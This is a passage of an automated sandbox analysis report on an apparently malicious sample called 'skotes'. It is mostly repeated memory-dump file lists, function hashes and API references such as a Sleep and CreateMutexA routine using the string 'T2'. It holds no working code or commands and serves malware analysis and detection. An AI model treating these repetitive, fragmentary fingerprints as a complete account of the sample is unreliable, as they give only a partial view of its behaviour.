Associated: 00000002.00000002.1784989834.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785005257.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785024729.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785063771.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785082693.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785099239.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785115630.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785131292.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785144415.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785162705.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785179598.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785245392.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785267798.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785294130.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785308932.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785323743.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785345549.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785364408.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785379315.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785398598.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785452807.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785467365.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785482259.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785539991.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785563734.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785580751.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785598008.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785617580.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785633372.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: f5743c257ff772f99fd629560bdd7774b37c0d2553ef2e7b17f23b753488ddb5
Instruction ID: c0fc872c56d656250d4221bcead219915e5f91dc032fd310a1d7584a9b5892ba
Opcode Fuzzy Hash: f5743c257ff772f99fd629560bdd7774b37c0d2553ef2e7b17f23b753488ddb5
Instruction Fuzzy Hash: C0315D717042008BEB09DB78DCCD7AEB77AEF87320F248619E054E72D2C77589808752

Function 00039ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000002.00000002.1783415179.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783461554.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783711595.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783737800.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783769189.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783839357.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783874440.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784517240.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784581905.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784870251.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784900116.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784923882.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784940276.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784955134.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784969925.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784989834.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785005257.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785024729.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785063771.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785082693.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785099239.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785115630.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785131292.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785144415.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785162705.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785179598.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785245392.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785267798.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785294130.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785308932.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785323743.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785345549.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785364408.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785379315.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785398598.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785452807.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785467365.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785482259.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785539991.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785563734.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785580751.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785598008.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785617580.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785633372.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: 322602ee143f4c6525d5d522be111aed10436bedf9d2fba321fa305adc4a537f
Instruction ID: 356e39b5b8df84d6584c06a4205fce10d9b17ddd6342b8199c30cc9be9216cd7
Opcode Fuzzy Hash: 322602ee143f4c6525d5d522be111aed10436bedf9d2fba321fa305adc4a537f
Instruction Fuzzy Hash: 95216B717042019BEB199B6CECCDBAEF76AEFC6310F20461AE444D72D2CBB589808712

Function 0003A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000002.00000002.1783415179.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783461554.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783711595.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783737800.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783769189.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783839357.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783874440.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784517240.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784581905.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784870251.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784900116.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784923882.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784940276.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784955134.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784969925.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784989834.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785005257.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785024729.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785063771.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785082693.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785099239.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785115630.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785131292.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785144415.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785162705.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785179598.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785245392.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785267798.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785294130.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785308932.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785323743.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785345549.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785364408.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785379315.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785398598.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785452807.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785467365.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785482259.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785539991.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785563734.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785580751.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785598008.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785617580.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785633372.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: 7ab387afad5f56ccfc1c0d7bb9549eb12e53e4abe184857ca0b005a76c80d279
Instruction ID: 276da11a8d53ef959d4c9228a096159b1feb1fe87a3f467087db661a1c0b39e0
Opcode Fuzzy Hash: 7ab387afad5f56ccfc1c0d7bb9549eb12e53e4abe184857ca0b005a76c80d279
Instruction Fuzzy Hash: 8E2100713452059BFB3667689C5EB7E7399DF87700F244817E1C8D62D2CF7A49418253

Function 0003A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000002.00000002.1783415179.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783461554.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783711595.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783737800.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783769189.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783839357.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783874440.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784517240.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784581905.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784870251.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784900116.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784923882.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784940276.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784955134.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784969925.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784989834.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785005257.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785024729.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785063771.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785082693.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785099239.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785115630.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785131292.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785144415.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785162705.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785179598.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785245392.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785267798.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785294130.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785308932.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785323743.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785345549.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785364408.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785379315.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785398598.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785452807.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785467365.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785482259.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785539991.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785563734.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785580751.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785598008.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785617580.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785633372.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: ca5d09764a5f1f371bdf25481c95256bf4021f544f7cef986aed4a1a3629b6c3
Instruction ID: ff9d14d287c8bc5e3a93893aea5e4e37c9d62c3cc1bfd5c4962bab9296176f16
Opcode Fuzzy Hash: ca5d09764a5f1f371bdf25481c95256bf4021f544f7cef986aed4a1a3629b6c3
Instruction Fuzzy Hash: C8219B713042009BEB199B2CDC8D7AEB76AEFC7320F20461AF444E72D1C7768A808712

Non-executed Functions

Function 0006CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0006CC66

Memory Dump Source

Source File: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000002.00000002.1783415179.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783461554.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783711595.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783737800.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783769189.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783839357.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783874440.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784517240.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784581905.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784870251.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784900116.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784923882.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784940276.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784955134.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784969925.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784989834.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785005257.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785024729.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785063771.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785082693.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785099239.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785115630.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785131292.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785144415.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785162705.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785179598.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785245392.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785267798.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785294130.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785308932.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785323743.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785345549.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785364408.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785379315.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785398598.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785452807.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785467365.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785482259.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785539991.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785563734.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785580751.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785598008.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785617580.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785633372.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: ff36448970284c3c41a9c8a7ce597ded50b9c1bd429ea9e9897ed2ced2c78334
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 13B11432D046859FEB25CF68C881BFEBBF6EF45350F14816AD895EB242D6359D01CBA0

Function 00032EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00032F5F
__Mtx_unlock.LIBCPMT ref: 00032FCC
__Mtx_unlock.LIBCPMT ref: 000330F5
__Mtx_unlock.LIBCPMT ref: 0003319B

Memory Dump Source

Source File: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000002.00000002.1783415179.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783461554.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783711595.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783737800.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783769189.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783839357.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783874440.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784517240.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784581905.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784870251.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784900116.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784923882.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784940276.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784955134.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784969925.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
